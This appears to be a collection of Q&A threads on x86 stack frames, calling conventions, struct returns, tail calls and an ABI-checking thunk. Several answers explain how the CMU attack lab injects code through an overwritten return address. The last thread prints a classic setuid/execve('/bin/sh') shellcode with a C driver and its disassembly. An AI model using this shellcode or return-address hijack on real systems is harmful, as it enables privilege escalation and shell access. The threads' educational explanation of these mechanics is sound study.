Related
Short version:
0: 48 c7 c7 ee 4f 37 45 mov $0x45374fee, %rdi
7: 68 60 18 40 00 pushq $0x401860
c: c3 retq
How can these 3 lines of instruction(0,7,c), saved in the stack frame, get executed? I thought stack frame only store data, does it also store instructions? I know data is read to registers, but how do these instructions get executed?
Long version:
I am self-studying 15-213(Computer Systems) from CMU. In the Attack lab, there is an instance (phase 2) where the stack frame gets overwritten with "attack" instructions. The attack happens by then overwriting the return address from the calling function getbuf() with the address %rsp points to, which I know is the top of the stack frame. In this case, the top of the stack frame is in turn injected with the attack code mentioned above.
Here is the question, by reading the book(CSAPP), I get the sense that the stack frame only stores data the is overflown from the registers(including return address, extra arguments, etc.). But I don't get why it can also store instructions(attack code) and be executed. How exactly did the content in the stack frame, which %rsp points to, get executed? I also know that %rsp stores the return address of the calling function, the point being it is an address, not an instruction? So exactly by which mechanism does an supposed address get executed as an instruction? I am very confused.
Edit: Here is a link to the question(4.2 level 2):
http://csapp.cs.cmu.edu/3e/attacklab.pdf
This is a post that is helpful for me in understanding: https://github.com/magna25/Attack-Lab/blob/master/Phase%202.md
Thanks for your explanation!
ret instruction gets a pointer from the current position of the stack and jumps to it. If, while in a function, you modify the stack to point to another function or piece of code that could be used maliciously, the code can return to it.
The code below doesn't necessarily compile, and it is just meant to represent the concept.
For example, we have two functions: add(), and badcode():
int add(int a, int b)
{
return a + b;
}
void badcode()
{
// Some very bad code
}
Let's also assume that we have a stack such as the below when we call add()
...
0x00....18 extra arguments
0x00....10 return address
0x00....08 saved RBP
0x00....00 local variables and etc.
...
If during the execution of add, we managed to change the return address to address of badcode(), on ret instruction we will automatically start executing badcode(). I don't know if this answer your question.
Edit:
An instruction is simply an array of numbers. Where you store them is irrelevant (mostly) to their execution. A stack is essentially an abstract data structure, it is not a special place in RAM. If your OS doesn't mark the stack as non-executable, there is nothing stopping the code on the stack from being returned to by the ret.
Edit 2:
I get the sense that the stack frame only stores data that is overflown
from the registers(including return address, extra arguments, etc.)
I do not think that you know how registers, RAM, stack, and programs are incorporated. The sense that stack frame only stores data that is overflown is incorrect.
Let's start over.
Registers are pieces of memory on your CPU. They are independent of RAM. There are mainly 8 registers on a CPU. a, c, d, b, si, di, sp, and bp. a is for accumulator and it generally used for arithmetic operations, likewise b stands for base, c stands for counter, d stands for data, si stands for source, di stands for destination, sp is the stack pointer, and bp is the base pointer.
On 16 bit computers a, b, c, d, si, di, sp, and bp are 16 bits (2 byte). The a, b, c, and d are often shown as ax, bx, cx, and dx where the x stands for extension from their original 8 bit versions. They can also be referred to as eax, ecx, edx, ebx, esi, edi, esp, ebp for 32 bit (e again stands for extended) and rax, rcx, rdx, rbx, rsi, rdi, rsp, rbp for 64 bit.
Once again these are on your CPU and are independent of RAM. CPU uses these registers to do everything that it does. You wanna add two numbers? put one of them inside ax and another one inside cx and add them.
You also have RAM. RAM (standing for Random Access Memory) is a storage device that allows you to access and modify all of its values using equal computation power or time (hence the term random access). Each value that RAM holds also has an address that determines where on the RAM this value is. CPU can use numbers and treat such numbers as addresses to access memory addresses of RAM. Numbers that are used for such purposes are called pointers.
A stack is an abstract data structure. It has a FILO (first in last out) structure which means that to access the first datum that you have stored you have to access all of the other data. To manipulate the stack CPU provides us with sp which holds the pointer to the current position of the stack, and bp which holds the top of the stack. The position that bp holds is called the top of the stack because the stack usually grows downwards meaning that if we start a stack from the memory address 0x100 and store 4 bytes in it, sp will now be at the memory address 0x100 - 4 = 0x9C. To do such operations automatically we have the push and pop instructions. In that sense a stack could be used to store any type of data regardless of the data's relation to registers are programs.
Programs are pieces of structured code that are placed on the RAM by the operating system. The operating system reads program headers and relevant information and sets up an environment for the program to run on. For each program a stack is set up, usually, some space for the heap is given, and instructions (which are the building blocks of a program) are placed in arbitrary memory locations that are either predetermined by the program itself or automatically given by the OS.
Over the years some conventions have been set to standardize CPUs. For example, on most CPU's ret instruction receives the system pointer size amount of data from the stack and jumps to it. Jumping means executing code at a particular RAM address. This is only a convention and has no relation to being overflown from registers and etc. For that reason when a function is called firstly the return address (or the current address in the program at the time of execution) is pushed onto the stack so that it could be retrieved later by ret. Local variables are also stored in the stack, along with arguments if a function has more than 6(?).
Does this help?
I know it is a long read but I couldn't be sure on what you know and what you don't know.
Yet Another Edit:
Lets also take a look at the code from the PDF:
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
Phase 2 involves injecting a small amount of code as part of your exploit string.
Within the file ctarget there is code for a function touch2 having the following C representation:
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case,
however, you must make it appear to touch2 as if you have passed your cookie as its argument.
Let's think about what you need to do:
You need to modify the stack of test() so that two things happen. The first thing is that you do not return to test() but you rather return to touch2. The other thing you need to do is give touch2 an argument which is your cookie. Since you are giving only one argument you don't need to modify the stack for the argument at all. The first argument is stored on rdi as a part of x86_64 calling convention.
The final code that you write has to change the return address to touch2()'s address and also call mov rdi, cookie
Edit:
I before talked about RAM being able to store data on addresses and CPU being able to interact with them. There is a secret register on your CPU that you are not able to reach from you assembly code. This register is called ip/eip/rip. It stands for instruction pointer. This register holds a 16/32/64 bit pointer to an address on RAM. this particular address is the address that the CPU will execute in its clock cycle. With that in my we can say that what a ret instruction is doing is
pop rip
which means get the last 64 bits (8 bytes for a pointer) on the stack into this instruction pointer. Once rip is set to this value, the CPU begins executing this code. The CPU doesn't do any checks on rip whatsoever. You can technically do the following thing (excuse me, my assembly is in intel syntax):
mov rax, str ; move the RAM address of "str" into rax
push rax ; push rax into stack
ret ; return to the last pushed qword (8 bytes) on the stack
str: db "Hello, world!", 0 ; define a string
This code can call/execute a string. Your CPU will be very upset tho, that there is no valid instruction there and will probably stop working.
It is said that returning an oversized struct by value (as opposed to returning a pointer to the struct) from a function incurs unnecessary copy on the stack. By "oversized", I mean a struct that cannot fit in the return registers.
However, to quote Wikipedia
When an oversized struct return is needed, another pointer to a caller-provided space is prepended as the first argument, shifting all other arguments to the right by one place.
and
When returning struct/class, the calling code allocates space and passes a pointer to this space via a hidden parameter on the stack. The called function writes the return value to this address.
It appears that at least on x86 architectures, the struct in question is directly written by the callee to the memory appointed by the caller, so why would there be a copy then? Does returning oversized structs really incur copy on the stack?
If the function inlines, the copying through the return-value object can be fully optimized away. Otherwise, maybe not, and arg copying definitely can't be.
It appears that at least on x86 architectures, the struct in question is directly written by the callee to the memory appointed by the caller, so why would there be a copy then? Does returning oversized structs really incur copy on the stack?
It depends what the caller does with the return value,; if it's assigned to a provably private object (escape analysis), that object can be the return-value object, passed as the hidden pointer.
But if the caller actually wants to assign the return value to other memory, then it does need a temporary.
struct large retval = some_func(); // no extra copying at all
*p = some_func() // caller will make space for a local return-value object & copy.
(Unless the compiler knows that p is just pointing to a local struct large tmp;, and escape analysis can prove that there's no way some global variable could have a pointer to that same tmp var.)
long version, same thing with more details:
In the C abstract machine, there's a "return value object", and return foo copies the named variable foo to that object, even if it's a large struct. Or return (struct lg){1,2}; copies an anonymous struct. The return-value object itself is anonymous; nothing can take its address. (You can't int *p = &foo(123);). This makes it easier to optimize away.
In the caller, that anonymous return-value object can be assigned to whatever you want, which would be another copy if compilers didn't optimize anything. (All of this applies for any type, even int). Of course, compilers that aren't total garbage will avoid some, ideally all, of that copying, when doing so can't possibly change the observable results. And that depends on the design of the calling convention. As you say, most conventions, including all the mainstream x86 and x86-64 conventions, pass a "hidden pointer" arg for return values they choose not to return in register(s) for whatever reason (size, C++ having a non-trivial constructor).
struct large retval = foo(...);
For such calling conventions, the above code is effectively transformed to
struct large retval;
foo(&retval, ...);
So it's C return-value object actually is a local in the stack-frame of its caller. foo() is allowed to store into that return-value object whenever it wants during execution, including before reading some other objects. This allows optimization within the callee (foo) as well, so a struct large tmp = ... / return tmp can be optimized away to just store into the return-value object.
So there's zero extra copying when the caller does just want to assign the function return value to a newly declared local var. (Or to a local var which it can prove is still private, via escape analysis. i.e. not pointed-to by any global vars).
But what if the caller wants to store the return value somewhere else?
void caller2(struct large *lgp) {
*lgp = foo();
}
Can *lgp be the return-value object, or do we need to introduce a local temporary?
void caller2(struct large *lgp) {
// foo_asm(lgp); // nope, possibly unsafe
struct large retval; foo(&retval); *lgp = retval; // safe
}
If you want functions to be able to write large structs to arbitrary locations, you have to "sign off" on it by making that effect visible in your source.
What prevents the usage of a function argument as hidden pointer? for more details about why *lgp can't be the return-value object / hidden pointer, and another example. "A function is allowed to assume its return-value object (pointed-to by a hidden pointer) is not the same object as anything else". Also details of whether struct large *restrict lgp would make it safe: probably yes if the function doesn't longjmp (otherwise stores to the supposedly anonymous retval object might end up as visible side effects without return having been reached), but GCC doesn't look for that optimization.
Why is tailcall optimization not performed for types of class MEMORY? - return bar() where bar returns the same struct should be possible as an optimized tailcall, causing extra copying. This can even introduce extra copying of the whole struct, as well as failing to optimize call bar / ret into jmp bar.
how c compiler treats a struct return value from a function, in ASM - thresholds for returning in registers. e.g. i386 System V always returns structs in memory, even struct {int x;};.
Is it possible within a function to get the memory address of the variable initialized by the return value?
C/C++ returning struct by value under the hood an actual example (but unfortunately using debug-mode compiler-generated asm, so it contains copying that isn't necessary).
How do objects work in x86 at the assembly level? example at the bottom of how x86-64 System V packs the bytes of a struct into RDX:RAX, or just RAX if less than 8 bytes.
An example showing early stores to the return-value object (instead of copying)
(all source + asm on the Godbolt compiler explorer)
// more or less extra size will get compilers to copy it around with SSE2 or not
struct large { int first, second; char pad[0];};
int *global_ptr;
extern int a;
NOINLINE // __attribute__((noinline))
struct large foo() {
struct large tmp = {1,2};
if (a)
tmp.second = *global_ptr;
return tmp;
}
(targeting GNU/Linux) clang -m32 -O3 -mregparm=1 creates an implementation that writes its return-value object before it's done reading everything else, exactly the case that would make it unsafe for the caller to pass a pointer to some globally-reachable memory.
The asm makes it clear that tmp is fully optimized away, or is the retval object.
# clang -O3 -m32 -mregparm=1
foo:
mov dword ptr [eax + 4], 2
mov dword ptr [eax], 1 # store tmp into the retval object
cmp dword ptr [a], 0
je .LBB0_2 # if (a == 0) goto ret
mov ecx, dword ptr [global_ptr] # load the global
mov ecx, dword ptr [ecx] # deref it
mov dword ptr [eax + 4], ecx # and store to the retval object
.LBB0_2:
ret
(-mregparm=1 means pass the first arg in EAX, less noisy and easier to quickly visually distinguish from stack space than passing on the stack. Fun fact: i386 Linux compiles the kernel with -mregparm=3. But fun fact #2: if a hidden pointer is passed on the stack (i.e. no regparm), that arg is callee pops, unlike the rest. The function will use ret 4 to do ESP+=4 after popping the return address into EIP.)
In a simple caller, the compiler just reserves some stack space, passes a pointer to it, and then can load member variables from that space.
int caller() {
struct large lg = {4, 5}; // initializer is dead, foo can't read its retval object
lg = foo();
return lg.second;
}
caller:
sub esp, 12
mov eax, esp
call foo
mov eax, dword ptr [esp + 4]
add esp, 12
ret
But with a less trivial caller:
int caller() {
struct large lg = {4, 5};
global_ptr = &lg.first;
// unknown(&lg); // or this: as a side effect, might set global_ptr = &tmp->first;
lg = foo(); // (except by inlining) the compiler can't know if foo() looks at global_ptr
return lg.second;
}
caller:
sub esp, 28 # reserve space for 2 structs, and alignment
mov dword ptr [esp + 12], 5
mov dword ptr [esp + 8], 4 # materialize lg
lea eax, [esp + 8]
mov dword ptr [global_ptr], eax # point global_ptr at it
lea eax, [esp + 16] # hidden first arg *not* pointing to lg
call foo
mov eax, dword ptr [esp + 20] # reload from the retval object
add esp, 28
ret
Extra copying with *lgp = foo();
int caller2(struct large *lgp) {
global_ptr = &lgp->first;
*lgp = foo();
return lgp->second;
}
# with GCC11.1 this time, SSE2 8-byte copying unlike clang
caller2: # incoming arg: struct large *lgp in EAX
push ebx #
mov ebx, eax # lgp, tmp89 # lgp needed after foo returns
sub esp, 24 # reserve space for a retval object (and waste 16 bytes)
mov DWORD PTR global_ptr, eax # global_ptr, lgp
lea eax, [esp+8] # hidden pointer to the retval object
call foo #
movq xmm0, QWORD PTR [esp+8] # 8-byte copy of both halves
movq QWORD PTR [ebx], xmm0 # *lgp_2(D), tmp86
mov eax, DWORD PTR [ebx+4] # lgp_2(D)->second, lgp_2(D)->second # reload int return value
add esp, 24
pop ebx
ret
The copy to *lgp needs to happen, but it's somewhat of a missed optimization to reload from there, instead of from [esp+12]. (Saves a byte of code size at the cost of more latency.)
Clang does the copy with two 4-byte integer register mov loads/stores, but one of them is into EAX so it already has the return value ready.
You might also want to look at the result of assigning to memory freshly allocated with malloc. Compilers know that nothing else can (legally) be pointing to the newly allocated memory: that would be use-after-free undefined behaviour. So they may allow passing on a pointer from malloc as the return-value object if it hasn't been passed to anything else yet.
Related fun fact: passing large structs by value always requires a copy (if the function doesn't inline). But as discussed in comments, the details depend on the calling convention. Windows differs from i386 / x86-64 System V calling conventions (all non-Windows OSes) on this:
SysV calling conventions copy the whole struct to the stack. (if they're too large to fit in a pair of registers for x86-64)
Windows x64 makes a copy and passes (like a normal arg) a pointer to that copy. The callee "owns" the arg and can modify it, so a tmp copy is still needed. (And no, const struct large foo has no effect.)
https://godbolt.org/z/ThMrE9rqT shows x86-64 GCC targeting Linux vs. x64 MSVC targeting Windows.
This really depends on your compiler, but in general the way this works is that the caller allocates the memory for the struct return value, but the callee also allocates stack space for any intermediate value of that structure. This intermediate allocation is used when the function is running, and then the struct is copied onto the caller's memory when the function returns.
For reference as to why your solution won't always work, consider a program which has two of the same struct and returns one based on some condition:
large_t returntype(int condition) {
large_t var1 = {5};
large_t var2 = {6};
// More intermediate code here
if(condition) return var1;
else return var2;
}
In this case, both may be required by the intermediate code, but the return value is not known at compile time, so the compiler doesn't know which to initialize on the caller's stack space. It's easier to just keep it local and copy on return.
EDIT: Your solution may be the case in simple functions, but it really depends on the optimizations performed by each individual compiler. If you're really interested in this, check out https://godbolt.org/
My programming language compiles to C, I want to implement tail recursion optimization. The question here is how to pass control to another function without "returning" from the current function.
It is quite easy if the control is passed to the same function:
void f() {
__begin:
do something here...
goto __begin; // "call" itself
}
As you can see there is no return value and no parameters, those are passed in a separate stack adressed by a global variable.
Another option is to use inline assembly:
#ifdef __clang__
#define tail_call(func_name) asm("jmp " func_name " + 8");
#else
#define tail_call(func_name) asm("jmp " func_name " + 4");
#endif
void f() {
__begin:
do something here...
tail_call(f); // "call" itself
}
This is similar to goto but as goto passes control to the first statement in a function, skipping the "entry code" generated by a compiler, jmp is different, it's argument is a function pointer, and you need to add 4 or 8 bytes to skip the entry code.
The both above will work but only if the callee and the caller use the same amount of stack for local variables which is allocated by the entry code of the callee.
I was thinking to do leave manually with inline assembly, then replace the return address on the stack, then do a legal function call like f(). But my attempts all crashed. You need to modify BP and SP somehow.
So again, how to implement this for x64? (Again, assuming functions have no arguments and return void). Portable way without inline assembly is better, but assembly is accepted. Maybe longjump can be used?
Maybe you can even push the callee address on the stack, replacing the original return address and just ret?
Do not try to do this yourself. A good C compiler can perform tail-call elimination in many cases and will do so. In contrast, a hack using inline assembly has a good chance of going wrong in a way that is difficult to debug.
For example, see this snippet on godbolt.org. To duplicate it here:
The C code I used was:
int foo(int n, int o)
{
if (n == 0) return o;
puts("***\n");
return foo(n - 1, o + 1);
}
This compiles to:
.LC0:
.string "***\n"
foo:
test edi, edi
je .L4
push r12
mov r12d, edi
push rbp
mov ebp, esi
push rbx
mov ebx, edi
.L3:
mov edi, OFFSET FLAT:.LC0
call puts
sub ebx, 1
jne .L3
lea eax, [r12+rbp]
pop rbx
pop rbp
pop r12
ret
.L4:
mov eax, esi
ret
Notice that the tail call has been eliminated. The only call is to puts.
Since you don't need arguments and return values, how about combining all function into one and use labels instead of function names?
f:
__begin:
...
CALL(h); // a macro implementing traditional call
...
if (condition_ret)
RETURN; // a macro implementing traditional return
...
goto g; // tail recurse to g
The tricky part here is RETURN and CALL macros. To return you should keep yet another stack, a stack of setjump buffers, so when you return you call longjump(ret_stack.pop()), and when you call you do ret_stack.push(setjump(f)). This is poetical rendition ofc, you'll need to fill out the details.
gcc can offer some optimization here with computed goto, they are more lightweight than longjump. Also people who write vms have similar problems, and seemingly have asm-based solutions for those even on MSVC, see example here.
And finally such approach even if it saves memory, may be confusing to compiler, so can cause performance anomalies. You probably better off generating for some portable assembler-like language, llvm maybe? Not sure, should be something that has computed goto.
The venerable approach to this problem is to use trampolines. Essentially, every compiled function returns a function pointer (and maybe an arg count). The top level is a tight loop that, starting with your main, simply calls the returned function pointer ad infinitum. You could use a function that longjmps to escape the loop, i.e., to terminate the progam.
See this SO Q&A. Or Google "recursion tco trampoline."
For another approach, see Cheney on the MTA, where the stack just grows until it's full, which triggers a GC. This works once the program is converted to continuation passing style (CPS) since in that style, functions never return; so, after the GC, the stack is all garbage, and can be reused.
I will suggest a hack. The x86 call instruction, which is used by the compiler to translate your function calls, pushes the return address on the stack and then performs a jump.
What you can do is a bit of a stack manipulation, using some inline assembly and possibly some macros to save yourself a bit of headache. You basically have to overwrite the return address on the stack, which you can do immediately in the function called. You can have a wrapper function which overwrites the return address and calls your function - the control flow will then return to the wrapper which then moves to wherever you pointed it to.
The SysV ABI defines the C-level and assembly calling conventions for Linux.
I would like to write a generic thunk that verifies that a function satisfied the ABI restrictions on callee preserved registers and (perhaps) tried to return a value.
So given a target function like int foo(int, int) it's pretty easy3 to write such a thunk in assembly, something like1:
foo_thunk:
push rbp
push rbx
push r12
push r13
push r14
push r15
call foo
cmp rbp, [rsp + 40]
jne bad_rbp
cmp rbx, [rsp + 32]
jne bad_rbx
cmp r12, [rsp + 24]
jne bad_r12
cmp r13, [rsp + 16]
jne bad_r13
cmp r14, [rsp + 8]
jne bad_r14
cmp r15, [rsp]
jne bad_r15
ret
Now of course I don't actually wan to write a separate foo_thunk method for each call, I just want one generic one. This one should take a pointer to the underlying function (let's say in rax), and would use an indirect call call [rax] than call foo but would otherwise be the same.
What I can't figure out is how to to implement the transparent use of the thunk at the C level (or in C++, where there seems to be more meta-programming options - but let's stick to C here). I want to take something like:
foo(1, 2);
and translate it to a call to the thunk, but still passing the same arguments in the same places (that's needed for the thunk to work).
It is expected that I modify the source, perhaps with macro or template magic, so the call above could be changed to:
CHECK_THUNK(foo, (1, 2));
Giving the macro the name of the underlying function. In principle it could translate this to2:
check_thunk(&foo, 1, 2);
How can I declare check_thunk though? The first argument is "some type" of function pointer. We could try:
check_thunk(void (*ptr)(void), ...);
So a "generic" function pointer (all pointers can validly be cast to this, and we'll only actually call it assembly, outside the claws of the language standard), plus varargs.
This doesn't work though: the ... has totally different promotion rules than a properly prototyped function. It will work for the foo(1, 2) example, but if you call foo(1.0, 2) instead, the varargs version will just leave the 1.0 as a double and you'll be calling foo with a totally wrong value (a double value punned as an integer.
The above also has the disadvantage of passing the function pointer as the first argument, which means the thunk no longer works as-is: it has to save the function pointer in rdi somewhere and then shift all the values over by one (i.e., mov rdi, rsi). If there are non-register args, things get really messy.
Is there any way to make this work smoothly?
Note: this type of thunk is basically incompatible with any passing of parameters on the stack, which is an acceptable limitation of this approach (it should simply not be used for functions with that many arguments or with MEMORY class arguments).
1 This is checks the callee preserved registers, but the other checks are similarly straightforward.
2 In fact, you don't even really need the macro for that - but it's also there so you can turn off the thunk in release builds and just do a direct call.
3 Well by "easy" I guess I mean one that doesn't work in all cases. The shown thunk doesn't correctly align the stack (easy to fix), and breaks if foo has any stack-passed arguments (significantly harder to fix).
One way to do this, in a gcc-specific way, is to take advantage of typeof and nested functions to create a function pointer that embeds the call to the underlying function, but itself doesn't have any arguments.
This pointer can be passed to the thunk method, which calls it and verifies ABI compliance.
Here's an example of transforming a call to int add3(int, int, int) using this method:
The original call looks like:
int res = add3(a, b, c);
Then you wrap the call in a macro, like this2:
CALL_THUNKED(int res, add3, (a,b,c));
... which expands into something like:
typedef typeof(add3 (a,b,c)) ret_type;
ret_type closure() {
return add3 (a,b,c);
}
typedef ret_type (*typed_closure)(void);
typedef ret_type (*thunk_t)(typed_closure);
thunk_t thunk = (thunk_t)closure_thunk;
int res = thunk(&closure);
We create the closure() function on the stack, which calls directly into add3 with the original arguments. We can take the address of this closure and pass it an asm function without difficulty: calling it will have the ultimate effect of calling add3 with the arguments1.
The rest of the typedefs is basically dealing with the return type. We have only a single closure_thunk method, declared like this void* closure_thunk(void (*)(void)); and implemented in assembly. It takes a function pointer (any function pointer is convertible to any other), but the return type is "wrong". We cast it to thunk_t which is a dynamically generated typedef for a function that has the "right" return type.
Of course, that's certainly not legal for C functions, but we are implementing the function in asm, so we kind of sidestep the issue (if you wanted to be a bit more compliant, you could perhaps ask the asm code for a function pointer of the right type, which can "generate" it each time, outside of the reach of the standard: of course it's just returning the same pointer each time).
The closure_thunk function in asm is implemented along the lines of:
GLOBAL closure_thunk:function
closure_thunk:
push rsi
push_callee_saved
call rdi
; set up the function name
mov rdi, [rsp + 48]
; now check whether any regs were clobbered
cmp rbp, [rsp + 40]
jne bad_rbp
cmp rbx, [rsp + 32]
jne bad_rbx
cmp r12, [rsp + 24]
jne bad_r12
cmp r13, [rsp + 16]
jne bad_r13
cmp r14, [rsp + 8]
jne bad_r14
cmp r15, [rsp]
jne bad_r15
add rsp, 7 * 8
ret
That is, push all the registers we want to check on the stack (along with the function name), call the function in rdi and then do your checks. The bad_* methods aren't shown, but they basically spit out an error message like "Function add3 overwrote rbp... naughty!" and abort() the process.
This breaks if any arguments are passed on the stack, but it does work for return values passed on the stack (because the ABI for that case passes a pointer to the location for the return value in `rax).
1 How this is accomplished is kind of magic: gcc actually writes a few bytes of executable code onto the stack, and the closure function pointer points there. The few bytes basically loads a register with a pointer to the region that contains the captured variables (a, b, c in this case), and then calls the actual (read-only) closure() code which then can access the captured variables though that pointer (and pass them to add3).
2 As it turns out, we could probably use gcc's statement expression syntax to write the macro in a more usual function like syntax, something like int res = CALL_THUNKED(add3, (a,b,c)).
At the C source level (without modifying gcc or the linker to insert the thunk for you), you could define different prototypes for each thunk but still share the same implementation.
You could put multiple labels on the definition in the asm source, so check_thunk_foo has the same address as check_thunk_bar, but you can use a different C prototype for each.
Or you could make weak aliases like this:
int check_thunk_foo(void*, int, int)
__attribute__ ((weak, alias ("check_thunk_generic")));
// or maybe this should be ((weakref ("check_thunk_generic")))
#define foo(...) check_thunk_foo((void*)&foo, __VA_ARGS__)
// or to put the args in their original slots,
// but then you'd need different thunks for different numbers of integer args.
#define foo(x, y) check_thunk_foo((x), (y), (void*)&foo)
The major downside to this is that you need to copy+modify the original prototype for every function. You could hack this up with CPP macros so there's a single point of definition for the arg list, and the real prototype (and the thunk if enabled) both use it. Possibly by re-including the same .h twice, with a wrapper macro defined differently. Once for the real prototypes, again for the thunks.
BTW, passing the function pointer as an extra arg to a generic thunk is potentially problematic. I think it's not possible to reliably remove the first arg and forward the rest in the x86-64 SysV ABI. You don't know how many stack args there are, for functions that take more than 6 integer args. And you don't know if there are FP stack args before the first integer stack arg.
This should work fine for functions that pass all their register-possible args in registers. (i.e. if there are any stack args, they're large structs by value or other things that couldn't go in an integer register.)
To solve this problem, the thunk could dispatch based on return address instead of an extra hidden arg, if you had something like debug info to map call site return addresses to call targets. Or you could maybe get gcc to pass a hidden arg in rax or r11. Running call from inline asm sucks a lot, so you'd maybe need to customize gcc with support for some special attribute that passed a function pointer in an extra register.
but if you call foo(1.0, 2) instead, the varargs version will just leave the 1.0 as a double and you'll be calling foo with a totally wrong value (a double value punned as an integer.
Not that it matters, but no, you'd be calling foo(2, garbage) with xmm0=(double)1.0. Variadic functions still use register args the same as non-variadic functions (or with the option of passing FP args on the stack before you run out of registers, and setting al= less than 8).
WARNING: This is an exploit. Do not execute this code.
//shellcode.c
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() {
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
can anyone give me a better explanation ?
Apparently, this code attempts to change the stack so that when the main function returns, program execution does not return regularly into the runtime library (which would normally terminate the program), but would jump instead into the code saved in the shellcode array.
1) int *ret;
defines a variable on the stack, just beneath the main function's arguments.
2) ret = (int *)&ret + 2;
lets the ret variable point to a int * that is placed two ints above ret on the stack. Supposedly that's where the return address is located where the program will continue when main returns.
2) (*ret) = (int)shellcode;
The return address is set to the address of the shellcode array's contents, so that shellcode's contents will be executed when main returns.
shellcode seemingly contains machine instructions that possibly do a system call to launch /bin/sh. I could be wrong on this as I didn't actually disassemble shellcode.
P.S.: This code is machine- and compiler-dependent and will possibly not work on all platforms.
Reply to your second question:
and what happens if I use
ret=(int)&ret +2 and why did we add 2?
why not 3 or 4??? and I think that int
is 4 bytes so 2 will be 8bytes no?
ret is declared as an int*, therefore assigning an int (such as (int)&ret) to it would be an error. As to why 2 is added and not any other number: apparently because this code assumes that the return address will lie at that location on the stack. Consider the following:
This code assumes that the call stack grows downward when something is pushed on it (as it indeed does e.g. with Intel processors). That is the reason why a number is added and not subtracted: the return address lies at a higher memory address than automatic (local) variables (such as ret).
From what I remember from my Intel assembly days, a C function is often called like this: First, all arguments are pushed onto the stack in reverse order (right to left). Then, the function is called. The return address is thus pushed on the stack. Then, a new stack frame is set up, which includes pushing the ebp register onto the stack. Then, local variables are set up on the stack beneath all that has been pushed onto it up to this point.
Now I assume the following stack layout for your program:
+-------------------------+
| function arguments | |
| (e.g. argv, argc) | | (note: the stack
+-------------------------+ <-- ss:esp + 12 | grows downward!)
| return address | |
+-------------------------+ <-- ss:esp + 8 V
| saved ebp register |
+-------------------------+ <-- ss:esp + 4 / ss:ebp - 0 (see code below)
| local variable (ret) |
+-------------------------+ <-- ss:esp + 0 / ss:ebp - 4
At the bottom lies ret (which is a 32-bit integer). Above it is the saved ebp register (which is also 32 bits wide). Above that is the 32-bit return address. (Above that would be main's arguments -- argc and argv -- but these aren't important here.) When the function executes, the stack pointer points at ret. The return address lies 64 bits "above" ret, which corresponds to the + 2 in
ret = (int*)&ret + 2;
It is + 2 because ret is a int*, and an int is 32 bit, therefore adding 2 means setting it to a memory location 2 × 32 bits (=64 bits) above (int*)&ret... which would be the return address' location, if all the assumptions in the above paragraph are correct.
Excursion: Let me demonstrate in Intel assembly language how a C function might be called (if I remember correctly -- I'm no guru on this topic so I might be wrong):
// first, push all function arguments on the stack in reverse order:
push argv
push argc
// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call main
// (afterwards: clean up stack by removing the function arguments, e.g.:)
add esp, 8
Inside main, the following might happen:
// create a new stack frame and make room for local variables:
push ebp
mov ebp, esp
sub esp, 4
// access return address:
mov edi, ss:[ebp+4]
// access argument 'argc'
mov eax, ss:[ebp+8]
// access argument 'argv'
mov ebx, ss:[ebp+12]
// access local variable 'ret'
mov edx, ss:[ebp-4]
...
// restore stack frame and return to caller (by popping the return address)
mov esp, ebp
pop ebp
retf
See also: Description of the procedure call sequence in C for another explanation of this topic.
The actual shellcode is:
(gdb) x /25i &shellcode
0x804a040 <shellcode>: xor %eax,%eax
0x804a042 <shellcode+2>: xor %ebx,%ebx
0x804a044 <shellcode+4>: mov $0x17,%al
0x804a046 <shellcode+6>: int $0x80
0x804a048 <shellcode+8>: jmp 0x804a069 <shellcode+41>
0x804a04a <shellcode+10>: pop %esi
0x804a04b <shellcode+11>: mov %esi,0x8(%esi)
0x804a04e <shellcode+14>: xor %eax,%eax
0x804a050 <shellcode+16>: mov %al,0x7(%esi)
0x804a053 <shellcode+19>: mov %eax,0xc(%esi)
0x804a056 <shellcode+22>: mov $0xb,%al
0x804a058 <shellcode+24>: mov %esi,%ebx
0x804a05a <shellcode+26>: lea 0x8(%esi),%ecx
0x804a05d <shellcode+29>: lea 0xc(%esi),%edx
0x804a060 <shellcode+32>: int $0x80
0x804a062 <shellcode+34>: xor %ebx,%ebx
0x804a064 <shellcode+36>: mov %ebx,%eax
0x804a066 <shellcode+38>: inc %eax
0x804a067 <shellcode+39>: int $0x80
0x804a069 <shellcode+41>: call 0x804a04a <shellcode+10>
0x804a06e <shellcode+46>: das
0x804a06f <shellcode+47>: bound %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>: das
0x804a073 <shellcode+51>: jae 0x804a0dd
0x804a075 <shellcode+53>: add %al,(%eax)
This corresponds to roughly
setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);
That string is from an old document on buffer overflows, and will execute /bin/sh. Since it's malicious code (well, when paired with a buffer exploit) - you should really include it's origin next time.
From that same document, how to code stack based exploits :
/* the shellcode is hex for: */
#include <stdio.h>
main() {
char *name[2];
name[0] = "sh";
name[1] = NULL;
execve("/bin/sh",name,NULL);
}
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
The code you included causes the contents of shellcode[] to be executed, running execve, and providing access to the shell. And the term Shellcode? From Wikipedia :
In computer security, a shellcode is a
small piece of code used as the
payload in the exploitation of a
software vulnerability. It is called
"shellcode" because it typically
starts a command shell from which the
attacker can control the compromised
machine. Shellcode is commonly written
in machine code, but any piece of code
